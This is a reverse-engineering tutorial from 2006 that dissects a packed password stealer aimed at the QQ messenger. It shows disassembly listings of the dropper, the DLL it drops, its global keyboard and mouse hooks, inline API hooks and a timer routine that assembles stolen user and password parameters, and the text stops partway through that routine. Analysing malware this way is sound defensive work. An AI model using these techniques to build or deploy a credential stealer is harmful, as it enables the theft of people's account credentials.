Anatomy of a Malware

Nicolas Falliere
January 9, 2006

Introduction

This tutorial should help people understand how a simple piece of malware works. I might eventually go on with a series of papers that should help beginners in reverse engineering to cope with malicious programs.

This first paper is about a password stealer. To start with something simple, it's a dropper program written in C, packed with FSG. The code is quite clear and understandable. Many common techniques used by malware in general are used in this very program, which makes it an even more educative piece of malware to look at. For educational purposes, most of the analysis will consist of a white box approach - in our case, meaning stepping through the program and analyzing it with a disassembler.

Characteristics of the file:
- MD5 hash: fceea9d062a5f55ef4c7be8df5abd127
- Size: 6961 bytes
- Type: 32-bit Windows Portable Executable (PE)
- Packed: yes
- High level language: C, very likely

Reader's requirements:
- Intel x86 assembly
- Windows API, MSDN nearby

The original malware

First of all, let's have a general look at this file, using an hexadecimal editor such as Hiew. Nothing particular there, it's a standard PE file with 2 sections; the first one has a physical size of 0 bytes. This is the sign of a packed file (an empty section, which will be filled with the data unpacked from another section). The file contains no visible embedded executable.

People used to reverse engineer malware will find the entry point quite characteristic:

```
xchg        esp,[0040D850]
popad
xchg        esp,eax
push        ebp
...
```

Our suspicion is confirmed, this file is packed with FSG version 2. FSG is a freely available packer; its initials mean "Fast, Small, Good". I encourage you to download it on the Internet, and try to pack a file with it, to check that the entry point is similar to the one of our malware. This packer is easily bypassed: the stub consists of the Aplib library code that decompresses the executable in the first section. The IAT is resolved with a LoadLibrary loop, just before a jump to the original entry point.

Let's see how to bypass that with OllyDbg. Since the API resolution is done after the unpacking with a series of calls to LoadLibraryA/GetProcAddress, let's set a breakpoint on this API. You can then go through this loop manually till the jump to the original entry point, or directly set a breakpoint on the jmp [ebx+0c] in the middle of the loop, which is how FSG gives the control back. This jump lands in another section - which is generally a good means to find when a simple packer has done its jobs, by the way.

We are now located at 0x4012D3, which is the entry point of the real program. Let's dump the debugged executable from memory and analyze it. The OllyDump plugin does the trick. Let's not forget to check that the entry point of the dump is set on 0x4012D3. We now have a clean executable. The import name table is messed up, of course, but not enough to disturb the analysis in IDA. We could eventually rebuild it partially with the free tool ImpRec.

The dump

Let's have a look at that dump. A classic entry point (push ebp / mov ebp, esp), three sections (two unnamed, one called ".newIID"). We can also see that an executable file is embedded in the dump, at file offset 0x4000. We won't have a look at it now, but our first guess is that the main executable is a simple dropper. The real malware is probably inside that file. Nothing else of interest here, except some strings, some of them quite unique to identify the malware:

```
DLLFILE
.newIID
...
RX_SHARE
RX_MUTEX
C:\NewSpy
C:\NewSpy
C:\NewSpy\Hook.dll
DllFile
C:\NewSpy\Start.exe
C:\NewSpy\Hook.dll
HookStart
...
SPY KING
Accept: */*
HTTP/1.0
Content-Type: application/x-www-form-urlencoded
&Pass=
&Serv=
&Role=
&Edit=
ToAscii
USER32.DLL
SendMessageA
USER32.DLL
C:\Program Files\Tencent\QQ\CoralQQ.exe
launcher.exe
D3D Window
D3D Window
...
```

Some mutex names, file paths, explicit names (spy, hook...), HTTP headers and URL 'GET' parameters: everything tells us we deal with an Infostealer. The QQ reference might indicate this program's goal is to steal QQ's creadentials (QQ is the largest messenging system in China). The strings are not encoded: the ananalysis should be painless. A quick look at the import table and API names also gives some nice hints about the inner working of this program... more on that later.

White box analysis of the dump with IDA

The program starts with:

```
                public start
004012D3 start           proc near
```

```
004012D3                push    ebp
004012D4                mov     ebp, esp
004012D6                push    offset aRx_mutex ; "RX_MUTEX"
004012DB                push    0               ; bInheritHandle
004012DD                push    1F0001h         ; dwDesiredAccess
004012E2                call    OpenMutexA
004012E8                test    eax, eax
004012EA                jnz     short loc_4012F1
004012EC                call    do_malicious
004012F1
004012F1 loc_4012F1:
004012F1                pop     ebp
004012F2                retn
004012F2 start          endp
```

The program tries to open a mutex named "RX_MUTEX". If the call is successful, the program terminates. This is a classic way - the easiest - to set a global marker on a system, to notify that the trojan is already running. If the call to OpenMutex fails, the mutex is not there, and the program should go on. After analysis, I renamed most functions of the program; the one we're having a look at now is do_malicious():

```
00401221 do_malicious    proc near
00401221
00401221 pHookStart      = dword ptr -28h
00401221 Msg             = tagMSG ptr -24h
00401221 hModule         = dword ptr -8
00401221 var_4           = dword ptr -4
00401221
00401221                push    ebp
00401222                mov     ebp, esp
00401224                sub     esp, 28h
00401227                push    0               ; lpSecurityAttr
00401229                push    offset szDir_   ; "C:\\NewSpy"
0040122E                call    CreateDirectoryA
00401234                push    6               ; dwFileAttributes
00401236                push    offset szDir    ; "C:\\NewSpy"
0040123B                call    SetFileAttributesA
00401241                push    offset aCNewspyHook_dl
                                            ; "C:\\NewSpy\\Hook.dll"
00401246                push    offset aHook    ; "Hook"
0040124B                push    offset Type     ; "DllFile"
00401250                call    drop_dll_from_res
00401255                add     esp, 0Ch
00401258                mov     [ebp+var_4], eax
0040125B                cmp     [ebp+var_4], 0
0040125F                jnz     short loc_401265
00401261                xor     eax, eax
00401263                jmp     short loc_4012CF
00401265 ; ----------------------------------------------------------
00401265
00401265 loc_401265:
00401265                push    0               ; bFailIfExists
00401267                push    offset NewFileName
                                           ; "C:\\NewSpy\\Start.exe"
0040126C                call    get_mod_filename
00401271                push    eax             ; lpExistingFileName
00401272                call    CopyFileA
00401278                push    offset LibFileName
                                            ; "C:\\NewSpy\\Hook.dll"
0040127D                call    LoadLibraryA
00401283                mov     [ebp+hModule], eax
00401286                cmp     [ebp+hModule], 0
0040128A                jnz     short loc_401290
0040128C                xor     eax, eax
```

```
0040128E                jmp     short loc_4012CF
00401290 ; ---------------------------------------------------------
00401290
00401290 loc_401290:
00401290                push    offset szHookStart ; "HookStart"
00401295                mov     eax, [ebp+hModule]
00401298                push    eax             ; hModule
00401299                call    GetProcAddress
0040129F                mov     [ebp+pHookStart], eax
004012A2                cmp     [ebp+pHookStart], 0
004012A6                jnz     short loc_4012AC
004012A8                xor     eax, eax
004012AA                jmp     short loc_4012CF
004012AC ; ---------------------------------------------------------
004012AC
004012AC loc_4012AC:
004012AC                call    map_memory_area
004012B1                call    [ebp+pHookStart]
004012B4
004012B4 loc_4012B4:
004012B4                push    0               ; wMsgFilterMax
004012B6                push    0               ; wMsgFilterMin
004012B8                push    0               ; hWnd
004012BA                lea     ecx, [ebp+Msg]
004012BD                push    ecx             ; lpMsg
004012BE                call    GetMessageA
004012C4                test    eax, eax
004012C6                jz      short loc_4012CA
004012C8                jmp     short loc_4012B4
004012CA ; ---------------------------------------------------------
004012CA
004012CA loc_4012CA:
004012CA                mov     eax, 1
004012CF
004012CF loc_4012CF:
004012CF                mov     esp, ebp
004012D1                pop     ebp
004012D2                retn
004012D2 do_malicious   endp
```

The directory C:\NewSpy is created, and set to Hidden and System. The following call to 'drop_dll_from_res' is important. It will grab the PE file we mentionned before, stored in the resource section, and will drop it on the disk. Let's check it out:

```
00401000 ; int __cdecl drop_dll_from_res
                      (LPCSTR lpType,LPCSTR lpName,LPCSTR lpFileName)
00401000 drop_dll_from_res proc near
00401000
00401000 hResData       = dword ptr -1Ch
00401000 hObject        = dword ptr -18h
00401000 hResInfo       = dword ptr -14h
00401000 nNumberOfBytesToWrite= dword ptr -10h
00401000 lpBuffer       = dword ptr -0Ch
00401000 NumberOfBytesWritten= dword ptr -8
00401000 hModule        = dword ptr -4
00401000 lpType         = dword ptr  8
00401000 lpName         = dword ptr  0Ch
00401000 lpFileName     = dword ptr  10h
00401000
00401000                push    ebp
00401001                mov     ebp, esp
00401003                sub     esp, 1Ch
00401006                push    0               ; lpModuleName
00401008                call    GetModuleHandleA
```

```
0040100E                    mov     [ebp+hModule], eax
00401011                    mov     eax, [ebp+lpType]
00401014                    push    eax             ; lpType
00401015                    mov     ecx, [ebp+lpName]
00401018                    push    ecx             ; lpName
00401019                    mov     edx, [ebp+hModule]
0040101C                    push    edx             ; hModule
0040101D                    call    FindResourceA
00401023                    mov     [ebp+hResInfo], eax
00401026                    cmp     [ebp+hResInfo], 0
0040102A                    jnz     short loc_401033
0040102C                    xor     eax, eax
0040102E                    jmp     loc_401100
00401033 ; -----------------------------------------------------------
00401033
00401033 loc_401033:
00401033                    mov     eax, [ebp+hResInfo]
00401036                    push    eax             ; hResInfo
00401037                    mov     ecx, [ebp+hModule]
0040103A                    push    ecx             ; hModule
0040103B                    call    LoadResource
00401041                    mov     [ebp+hResData], eax
00401044                    cmp     [ebp+hResData], 0
00401048                    jnz     short loc_401051
0040104A                    xor     eax, eax
0040104C                    jmp     loc_401100
00401051 ; ---------------------------------------------------------
00401051
00401051 loc_401051:
00401051                    mov     edx, [ebp+hResData]
00401054                    push    edx             ; hResData
00401055                    call    LockResource
0040105B                    mov     [ebp+lpBuffer], eax
0040105E                    cmp     [ebp+lpBuffer], 0
00401062                    jnz     short loc_401075
00401064                    mov     eax, [ebp+hResData]
00401067                    push    eax             ; hResData
00401068                    call    FreeResource
0040106E                    xor     eax, eax
00401070                    jmp     loc_401100
00401075 ; -----------------------------------------------------------
00401075
00401075 loc_401075:
00401075                    push    0               ; hTemplateFile
00401077                    push    80h             ; dwFlagsAndAttr
0040107C                    push    2               ; dwCreationDispo
0040107E                    push    0               ; lpSecurityAttr
00401080                    push    2               ; dwShareMode
00401082                    push    40000000h       ; dwDesiredAccess
00401087                    mov     ecx, [ebp+lpFileName]
0040108A                    push    ecx             ; lpFileName
0040108B                    call    CreateFileA
00401091                    mov     [ebp+hObject], eax
00401094                    cmp     [ebp+hObject], 0FFFFFFFFh
00401098                    jnz     short loc_4010A8
0040109A                    mov     edx, [ebp+hResData]
0040109D                    push    edx             ; hResData
0040109E                    call    FreeResource
004010A4                    xor     eax, eax
004010A6                    jmp     short loc_401100
004010A8 ; -----------------------------------------------------------
004010A8
004010A8 loc_4010A8:
004010A8                    mov     eax, [ebp+hResInfo]
```

```
004010AB                push    eax             ; hResInfo
004010AC                mov     ecx, [ebp+hModule]
004010AF                push    ecx             ; hModule
004010B0                call    SizeofResource
004010B6                mov     [ebp+nNumberOfBytesToWrite], eax
004010B9                push    0               ; lpOverlapped
004010BB                lea     edx, [ebp+NumberOfBytesWritten]
004010BE                push    edx             ; lpNumberOfBytesWri
004010BF                mov     eax, [ebp+nNumberOfBytesToWrite]
004010C2                push    eax             ; nNumberOfBytesToWr
004010C3                mov     ecx, [ebp+lpBuffer]
004010C6                push    ecx             ; lpBuffer
004010C7                mov     edx, [ebp+hObject]
004010CA                push    edx             ; hFile
004010CB                call    WriteFile
004010D1                mov     eax, [ebp+NumberOfBytesWritten]
004010D4                cmp     eax, [ebp+nNumberOfBytesToWrite]
004010D7                jz      short loc_4010E7
004010D9                mov     ecx, [ebp+hResData]
004010DC                push    ecx             ; hResData
004010DD                call    FreeResource
004010E3                xor     eax, eax
004010E5                jmp     short loc_401100
004010E7 ; ----------------------------------------------------------
004010E7
004010E7 loc_4010E7:
004010E7                mov     edx, [ebp+hObject]
004010EA                push    edx             ; hObject
004010EB                call    CloseHandle
004010F1                mov     eax, [ebp+hResData]
004010F4                push    eax             ; hResData
004010F5                call    FreeResource
004010FB                mov     eax, 1
00401100
00401100 loc_401100:
00401100                mov     esp, ebp
00401102                pop     ebp
00401103                retn
00401103 drop_dll_from_res endp
```

This function uses the *Resource API functions exported by kernel32 to extract a resource. The series of calls to do it is:

- FindResource, takes a pointer to the PE file, as well as a resource name and type. It returns a handle on that resource.
- This handle is used by LoadResource, which in turn returns a handle to a glabal memory block
- Pass this handle to LockResource to get a valid memory pointer to the resource data
- SizeOfResource is used to get the size of the resource data
- And of course, a terminating call to FreeResource

If you examine this function, calls are made to CreateFile and WriteFile, to dump to resource data to a file, whose name was the third argument of drop_dll_from_res(): C:\NewSpy\Hook.dll

So a DLL file is dropped. Let's go back to the caller, do_malicious().

The executable file - the main program - is copied to C:\NewSpy\Start.exe. The dropped DLL is loaded in the address space of our program, and a pointer to an exported entry is retrieved with GetProcAddress: HookStart. This pointer is stored in a local variable, and is called later in 0x4012B1.

Meanwhile, let's check out this call to map_memory_area():

```
004011BC map_memory_area proc near
004011BC
004011BC hFileMappingObject= dword ptr -4
004011BC
004011BC                 push    ebp
004011BD                 mov     ebp, esp
004011BF                 push    ecx
004011C0                 push    offset Name      ; "RX_SHARE"
004011C5                 push    0A4h             ; dwMaximumSizeLow
004011CA                 push    0                ; dwMaximumSizeHigh
004011CC                 push    4                ; flProtect
004011CE                 push    0                ; lpFileMappingAttr
004011D0                 push    0FFFFFFFFh       ; hFile
004011D2                 call    CreateFileMappingA
004011D8                 mov     [ebp+hFileMappingObject], eax
004011DB                 cmp     [ebp+hFileMappingObject], 0
004011DF                 jz      short loc_401210
004011E1                 push    0                ; dwNbOfBytesToMap
004011E3                 push    0                ; dwFileOffsetLow
004011E5                 push    0                ; dwFileOffsetHigh
004011E7                 push    2                ; dwDesiredAccess
004011E9                 mov     eax, [ebp+hFileMappingObject]
004011EC                 push    eax              ; hFileMappingObject
004011ED                 call    MapViewOfFile
004011F3                 mov     lpBaseAddress, eax
004011F8                 cmp     lpBaseAddress, 0
004011FF                 jz      short loc_401210
00401201                 mov     ecx, lpBaseAddress
00401207                 push    ecx              ; lpBuffer
00401208                 call    copy_last_a4_bytes_to_map
0040120D                 add     esp, 4
00401210
00401210 loc_401210:
00401210                 mov     edx, lpBaseAddress
00401216                 push    edx              ; lpBaseAddress
00401217                 call    UnmapViewOfFile
0040121D                 mov     esp, ebp
0040121F                 pop     ebp
00401220                 retn
00401220 map_memory_area endp
```

This is a short function, that creates a file mapping. A file mapping is a memory region that can be backed up by a file, and can be accessed globally by processes on the system, by using its name. It's a nice way to share memory between two processes.

- In this case, no real file is used: CreateFileMapping is called with its first argument, the file handle, set to -1. A blank memory area will be created.
- A pointer to that memory block is retrieved by calling MapViewOfFile.
- Then, a function that I named fill_shared_mem(), is called
- The memory is unmapped from the current process with a call to UnmapViewOfFile. The memory still exists, and can be accessed by using the name of the file mapping: RX_SHARE

Let's see what the program uses this memory block for:

```
0040114A ; int __cdecl fill_shared_memory(LPVOID lpBuffer)
0040114A fill_shared_memory proc near
0040114A
0040114A NumberOfBytesRead= dword ptr -8
0040114A hObject         = dword ptr -4
0040114A lpBuffer        = dword ptr  8
0040114A
0040114A                 push    ebp
```

```
0040114B                  mov     ebp, esp
0040114D                  sub     esp, 8
00401150                  push    0               ; hTemplateFile
00401152                  push    80h             ; dwFlagsAndAttr
00401157                  push    3               ; dwCreationDisp
00401159                  push    0               ; lpSecurityAttr
0040115B                  push    1               ; dwShareMode
0040115D                  push    80000000h       ; dwDesiredAccess
00401162                  call    get_mod_filename
00401167                  push    eax             ; lpFileName
00401168                  call    CreateFileA
0040116E                  mov     [ebp+hObject], eax
00401171                  cmp     [ebp+hObject], 0FFFFFFFFh
00401175                  jz      short loc_4011AE
00401177                  push    2               ; dwMoveMethod
00401179                  push    0               ; lpDistToMoveHigh
0040117B                  push    0FFFFFF5Ch      ; lDistanceToMove
00401180                  mov     eax, [ebp+hObject]
00401183                  push    eax             ; hFile
00401184                  call    SetFilePointer
0040118A                  push    0               ; lpOverlapped
0040118C                  lea     ecx, [ebp+NumberOfBytesRead]
0040118F                  push    ecx             ; lpNbOfBytesRead
00401190                  push    0A4h            ; nNbOfBytesToRead
00401195                  mov     edx, [ebp+lpBuffer]
00401198                  push    edx             ; lpBuffer
00401199                  mov     eax, [ebp+hObject]
0040119C                  push    eax             ; hFile
0040119D                  call    ReadFile
004011A3                  call    GetCurrentThreadId
004011A9                  mov     ecx, [ebp+lpBuffer]
004011AC                  mov     [ecx], eax
004011AE
004011AE loc_4011AE:
004011AE                  mov     edx, [ebp+hObject]
004011B1                  push    edx             ; hObject
004011B2                  call    CloseHandle
004011B8                  mov     esp, ebp
004011BA                  pop     ebp
004011BB                  retn
004011BB fill_shared_memory endp
```

This function simply copies the last 0xA4 bytes of the file to the memory block. The first DWORD of that memory block is set to the TID of the running thread. We'll see why later... We don't know what the last 0xA0 bytes are.

Going back to do_malicious(), we can now see that HookStart() is called. Don't forget that this function is exported by the dropped DLL, loaded in our process.

The program then enters a loop on GetMessage(). This API just wait for a message to come in the current thread message queue. Each thread of a window application has a message queue to receive Windows messages from the system, such as WM_MOUSEMOVE, WM_COMMAND, WM_QUIT, etc. In this case, the program will terminate only when it receives a message. But who would send a message to this thread ? Hmmm... It's just time to examine this mysterious DLL.

The dropped DLL

Luckily for us, the dropped DLL is not packed. Let's fire up IDA. First of all, we notice two exported entries: the classic entry point and a procedure called HookStart. So far so good.

If the reason parameter passed to DllMain is not 1, the DLL doesn't do anything. The constant 1 is in fact DLL_PROCESS_ATTACH. Classic behavior, the DLL will do its jobs only when it's attached to a process, not when a thread gets created.

The file name of the executable module within which the DLL executes is retrived, and compared to 'Client.exe' and 'Explorer.exe'. If it's neither the case, the DllMain terminates.

1) A program called 'Explorer.exe' loads this DLL
If the RX_MUTEX is opened successfully, DllMain terminates. That would mean this DLL contains all it needs to execute its malicious deeds.
If the mutex does not exist, a thread is created (the entry point is the procedure I called thread_main, which we'll check out later).

2) A program called 'Client.exe' loads this DLL
The shared memory map, named RX_SHARED, is retrieved. A pointer to that block is stored in a global variable.
Another call, quite important, is made in 0x1000284C. This call checks out some QQ files located in the Program Files folder.

Remember, in our case, the DLL has been loaded by an executable, probably named Client.exe, the original name of that executable. If the program name is neither of those, DllMain will not perform anything.

HookStart was called. Let's have a look at that procedure:

```
                 public HookStart
10002738 HookStart       proc near
10002738                 push    ebp
10002739                 mov     ebp, esp
1000273B                 cmp     bMouseHook, 0
10002742                 jnz     short loc_1000275E
10002744                 push    0               ; dwThreadId
10002746                 mov     eax, hModule
1000274B                 push    eax             ; hmod
1000274C                 push    offset winhook_mouse_callback ; lpfn
10002751                 push    WH_MOUSE        ; idHook
10002753                 call    ds:SetWindowsHookExA
10002759                 mov     bMouseHook, eax
1000275E
1000275E loc_1000275E:                           ; CODE XREF:
HookStart+A
1000275E                 cmp     bKbHook, 0
10002765                 jnz     short loc_10002782
10002767                 push    0               ; dwThreadId
10002769                 mov     ecx, hModule
1000276F                 push    ecx             ; hmod
10002770                 push    offset winhook_kb_callback ; lpfn
10002775                 push    WH_KEYBOARD     ; idHook
10002777                 call    ds:SetWindowsHookExA
1000277D                 mov     bKbHook, eax
10002782
10002782 loc_10002782:
10002782                 pop     ebp
10002783                 retn
10002783 HookStart       endp
10002783
```

Another classic procedure we find in 99% of information stealer programs. This procedure sets two Windows-message hooks. These global hooks tell Windows to pass certain Windows messages to a user-defined hook procedure instead of the real recipient of the message. The hook procedure is then responsible for relaying that message to the recipient - or not.

Here, two hooks are set up: a mouse hook, and keyboard hook. Check the constants 7 and 2 on the SetWindowsHookEx's MSDN page.

The callback hook procedures are quite short. Here is the mouse's one:

```
10002678 ; LRESULT __stdcall winhook_mouse_callback
(int,WPARAM,LPARAM)
10002678 winhook_mouse_callback proc near
10002678
10002678 nCode           = dword ptr  8
10002678 wParam          = dword ptr  0Ch
10002678 lParam          = dword ptr  10h
10002678
10002678                 push    ebp
10002679                 mov     ebp, esp
1000267B                 cmp     [ebp+wParam], WM_LBUTTONDOWN
10002682                 jz      short loc_10002696
10002684                 cmp     [ebp+wParam], WM_RBUTTONDOWN
1000268B                 jz      short loc_10002696
1000268D                 cmp     [ebp+wParam], WM_LBUTTONDBLCLK
10002694                 jnz     short loc_100026C3
10002696
10002696 loc_10002696:
10002696                 cmp     dword_10004428, 0
1000269D                 jz      short loc_100026C3
1000269F                 cmp     dword_1000442C, 0
100026A6                 jnz     short loc_100026C3
100026A8                 push    0               ; lpWindowName
100026AA                 push    offset ClassName ; "D3D"
100026AF                 call    ds:FindWindowA
100026B5                 test    eax, eax
100026B7                 jz      short loc_100026C3
100026B9                 call    process_hooked_message
100026BE                 mov     dword_1000442C, eax
100026C3
100026C3 loc_100026C3:
100026C3                 mov     eax, [ebp+lParam]
100026C6                 push    eax             ; lParam
100026C7                 mov     ecx, [ebp+wParam]
100026CA                 push    ecx             ; wParam
100026CB                 mov     edx, [ebp+nCode]
100026CE                 push    edx             ; nCode
100026CF                 mov     eax, bMouseHook
100026D4                 push    eax             ; hhk
100026D5                 call    ds:CallNextHookEx
100026DB                 pop     ebp
100026DC                 retn    0Ch
100026DC winhook_mouse_callback endp
```

If the message being hooked matches a left/right button getting pressed or a left double-click, the function cheks that a Window whose class is named 'D3D' exists. Many programs may have Window classes with such a name. Finding what the program wants to intercept here might be difficult. Anyway, the thing to understand is how the malware works: it sets global message hooks, and filters the messages it receives by checking if a particular window exists. The core of the malicious action that will take place if the criteria are matched, in process_hooked_message(). This function is also called by winhook_kb_callback().

Back to DllMain

Let's go back to DllMain. We'll have a very quick look at mess_with_qq(), which is called when the DLL runs in Client.exe.

This function modifies some binaries of CoralQQ, which is an alternate version to use the QQ messenging system (Coral QQ is to QQ what aMSN is to MSN for instance). The main binary is located by default to C:\Program Files\Tencent\QQ\CoralQQ.exe, which is the location the malware uses. By the way, using hard-coded path names is usually a bad idea, as programs could be installed anywhere on the system. Most malware now use Windows API such as GetSystemDirectory, or explore standard registry keys used by programs to store their location on the filesystem.

CoralQQ is modified to automatically load the malicious DLL when it's run by the user. This method avoids the user to insert a load point in the Registry for instance, and monitor programs to inject the DLL when an instance of CoralQQ is detected.

We'll eventually analyze file infectors specifically in a future paper.

The DllMain still references a function we haven't examined yet: thread_main(). This function is actually the entry point of a new thread. Let's see what it does:

```
10002784 ; DWORD __stdcall thread_main(LPVOID)
10002784 thread_main     proc near
10002784
10002784 LibFileName     = byte ptr -120h
10002784 Msg             = tagMSG ptr -1Ch
10002784
10002784                 push    ebp
10002785                 mov     ebp, esp
10002787                 sub     esp, 120h
1000278D                 push    offset aRx_mutex ; "RX_MUTEX"
10002792                 push    0                ; bInitialOwner
10002794                 push    0                ; lpMutexAttributes
10002796                 call    ds:CreateMutexA
1000279C                 push    104h             ; nSize
100027A1                 lea     eax, [ebp+LibFileName]
100027A7                 push    eax              ; lpFilename
100027A8                 mov     ecx, hModule
100027AE                 push    ecx              ; hModule
100027AF                 call    ds:GetModuleFileNameA
100027B5                 mov     [ebp+eax+LibFileName], 0
100027BD                 lea     edx, [ebp+LibFileName]
100027C3                 push    edx              ; lpLibFileName
100027C4                 call    ds:LoadLibraryA
100027CA                 test    eax, eax
100027CC                 jnz     short loc_100027D2
100027CE                 xor     eax, eax
100027D0                 jmp     short loc_10002814
100027D2 ; ---------------------------------------------------------
100027D2
100027D2 loc_100027D2:
100027D2                 call    HookStart
100027D7                 call    get_shared_map_from_exe
100027DC                 cmp     pSharedMap, 0
100027E3                 jz      short loc_100027F9
100027E5                 push    0                ; lParam
100027E7                 push    0                ; wParam
100027E9                 push    WM_QUIT          ; Msg
100027EB                 mov     eax, pSharedMap
100027F0                 mov     ecx, [eax]
100027F2                 push    ecx              ; idThread
100027F3                 call    ds:PostThreadMessageA
100027F9
100027F9 loc_100027F9:
100027F9                                          ; thread_main+89
100027F9                 push    0                ; wMsgFilterMax
100027FB                 push    0                ; wMsgFilterMin
100027FD                 push    0                ; hWnd
```

```
100027FF                 lea     edx, [ebp+Msg]
10002802                 push    edx             ; lpMsg
10002803                 call    ds:GetMessageA
10002809                 test    eax, eax
1000280B                 jz      short loc_1000280F
1000280D                 jmp     short loc_100027F9
1000280F ; ----------------------------------------------------------
1000280F
1000280F loc_1000280F:
1000280F                 mov     eax, 1
10002814
10002814 loc_10002814:
10002814                 mov     esp, ebp
10002816                 pop     ebp
10002817                 retn    4
10002817 thread_main     endp
```

This function does not present any kind of difficulty. However, we can now explain where the Windows message expected by the initial program could come from. Before returning, the procedure checks the shared map, gets the TID stored in it, which is the thread ID of the unique thread of the main program, and sends its Windows message loop a WM_QUIT message. GetMessage() will process it, and the thread will terminate properly. This message exchange is a non-classic way to achieve process synchronization. In fact, the shared memory contains vital information for the malware. If the main program closes, and is the only one to have a handle to it, this handle will be closed and the shared map destroyed - handle count falling to 0. If another program opens the shared map, such as a program which would load this DLL, then it will not get destroyed when the main program terminates.

The hooking system

When a Windows message is hooked successfully, the hook procedure calls the very short routine process_hooked_message():

```
10002024 process_hooked_message proc near
10002024                 push    ebp
10002025                 mov     ebp, esp
10002027                 call    inj_ToAscii
1000202C                 call    inj_SendMessage
10002031                 call    inj_QQ_routine
10002036                 call    find_special_asm_insn_in_exe
1000203B                 mov     eax, 1
10002040                 pop     ebp
10002041                 retn
10002041 process_hooked_message endp
```

It calls several procedures used to hook a CoralQQ routine and two Windows APIs, ToAscii and SendMessageA. The way it hooks the two APIs is classic: their entry point point is saved, then modified to call a hook procedure located in the DLL. Rememenber that QQ has been modified, and that the DLL is running in the address space of QQ's executable. Here's an example with ToAscii:

```
10001D8A inj_ToAscii     proc near
10001D8A                 push    ebp
10001D8B                 mov     ebp, esp
10001D8D                 push    offset ProcName ; "ToAscii"
10001D92                 push    offset ModuleName ; "USER32.DLL"
10001D97                 call    ds:GetModuleHandleA
10001D9D                 push    eax             ; hModule
10001D9E                 call    ds:GetProcAddress
10001DA4                 mov     _ToAscii, eax
10001DA9                 push    7               ; size
10001DAB                 mov     eax, _ToAscii
```

```
10001DB0                 push    eax              ; addr_src
10001DB1                 push    offset orig_ToAscii_7b ; addr_dst
10001DB6                 call    memcopy
10001DBB                 add     esp, 0Ch
10001DBE                 mov     dword_1000404D, offset hook_ToAscii
10001DC8                 push    7                ; size
10001DCA                 push    offset mod_ToAscii_7b ; addr_src
10001DCF                 mov     ecx, _ToAscii
10001DD5                 push    ecx              ; addr_dst
10001DD6                 call    memcopy
10001DDB                 add     esp, 0Ch
10001DDE                 pop     ebp
10001DDF                 retn
10001DDF inj_ToAscii     endp
```

ToAscii is used to translate a pressed key to an ASCII character. Though that may seem pointless to QWERTY keyboards' users with ASCII-only keys, don't forget that QQ is a chinese messenging system. This routine may be called by QQ to translate some chinese characters before sending them on the network.
The hook procedure, hook_ToAscii(), first calls the original ToAscii API - by using the original entry point, previously saved - and copies the character to a buffer that will be used by the hook procedure of SendMessage.

That's not the most interesting part of the program, since we don't know the inner working of CoralQQ.exe. We can imagine that the creator of that malware analyzed it to determine what code flow the user name and password strings are following, and set hooks at key points in the program. Let's have a look at inj_QQ_routine():

```
10001ECB inj_QQ_routine  proc near
10001ECB
10001ECB addr_insn       = dword ptr -8
10001ECB buffer          = dword ptr -4
10001ECB
10001ECB                 push    ebp
10001ECC                 mov     ebp, esp
10001ECE                 sub     esp, 8
10001ED1                 push    0Ah              ; size
10001ED3                 push    offset data_mov_ecxebx_mov_esi ;
data
10001ED8                 call    find_data_in_exe_module
10001EDD                 add     esp, 8
10001EE0                 mov     [ebp+addr_insn], eax
10001EE3                 push    11h              ; size_t
10001EE5                 call    malloc
10001EEA                 add     esp, 4
10001EED                 mov     [ebp+buffer], eax
10001EF0                 mov     dword_1000407C, offset hook_qq_func
10001EFA                 mov     dword_1000408B,
                                                offset dword_1000407C
10001F04                 push    11h              ; size
10001F06                 push    offset injected_data ; addr_src
10001F0B                 mov     eax, [ebp+buffer]
10001F0E                 push    eax              ; addr_dst
10001F0F                 call    memcopy
10001F14                 add     esp, 0Ch
10001F17                 mov     ecx, [ebp+buffer]
10001F1A                 mov     dword_10004070, ecx
10001F20                 mov     dword_10004076,
                                                offset dword_10004070
10001F2A                 push    8                ; size
10001F2C                 push    offset unk_10004074 ; addr_src
10001F31                 mov     edx, [ebp+addr_insn]
10001F34                 push    edx              ; addr_dst
```

```
10001F35                 call    memcopy
10001F3A                 add     esp, 0Ch
10001F3D                 mov     esp, ebp
10001F3F                 pop     ebp
10001F40                 retn
10001F40 inj_QQ_routine  endp
```

The thing to see here is that a hook procedure, hook_qq_func(), will be called when a particular function of QQ gets called. This function in QQ is found by looking for a specific opcode sequence, located at the data reference data_mov_ecxebx_mov_esi, though this is not important. hook_qq_func() performs some string operations, and then calls set_timer(), at 0x10001D03. Now that's interesting, and once again, a classic malware technique used by password-stealer programs.

```
10001A85 set_timer       proc near
10001A85                 push    ebp
10001A86                 mov     ebp, esp
10001A88                 cmp     uIDEvent, 0
10001A8F                 jnz     short loc_10001AAA
10001A91                 push    offset timer_func ; lpTimerFunc
10001A96                 push    5000              ; uElapse
10001A9B                 push    0                 ; nIDEvent
10001A9D                 push    0                 ; hWnd
10001A9F                 call    ds:SetTimer
10001AA5                 mov     uIDEvent, eax
10001AAA
10001AAA loc_10001AAA:
10001AAA                 pop     ebp
10001AAB                 retn
10001AAB set_timer       endp
```

The SetTimer() API sets a timer to wake up every 5 seconds. When it happens, a message can be sent to a window, or a user-defined callback function can be executed. The second possibility is used here.

If we suppose that the information has been gathered at the various hook points when the timer is set, the timer_func() will process and send those to the author of the program. Let's dive into it!

```
10001938 ; void __stdcall timer_func(HWND,UINT,UINT,DWORD)
10001938 timer_func      proc near
10001938
10001938 url_parameters  = byte ptr -500h
10001938
10001938                 push    ebp
10001939                 mov     ebp, esp
1000193B                 sub     esp, 500h
10001941                 push    edi
10001942                 mov     eax, uIDEvent
10001947                 push    eax               ; uIDEvent
10001948                 push    0                 ; hWnd
1000194A                 call    ds:KillTimer
10001950                 mov     [ebp+url_parameters], 0
10001957                 mov     ecx, 13Fh
1000195C                 xor     eax, eax
1000195E                 lea     edi, [ebp-4FFh]
10001964                 rep stosd
10001966                 stosw
10001968                 stosb
10001969                 push    offset aUser      ; "User="
1000196E                 lea     ecx, [ebp+url_parameters]
10001974                 push    ecx               ; char *
10001975                 call    strcat
1000197A                 add     esp, 8
```

```
1000197D    push    offset qq_user  ; char *
10001982    lea     edx, [ebp+url_parameters]
10001988    push    edx             ; char *
10001989    call    build_url
1000198E    add     esp, 8
10001991    push    offset aPass    ; "&Pass="
10001996    lea     eax, [ebp+url_parameters]
1000199C    push    eax             ; char *
1000199D    call    strcat
100019A2    add     esp, 8
100019A5    push    offset qq_pass  ; char *
100019AA    lea     ecx, [ebp+url_parameters]
100019B0    push    ecx             ; char *
100019B1    call    build_url
100019B6    add     esp, 8
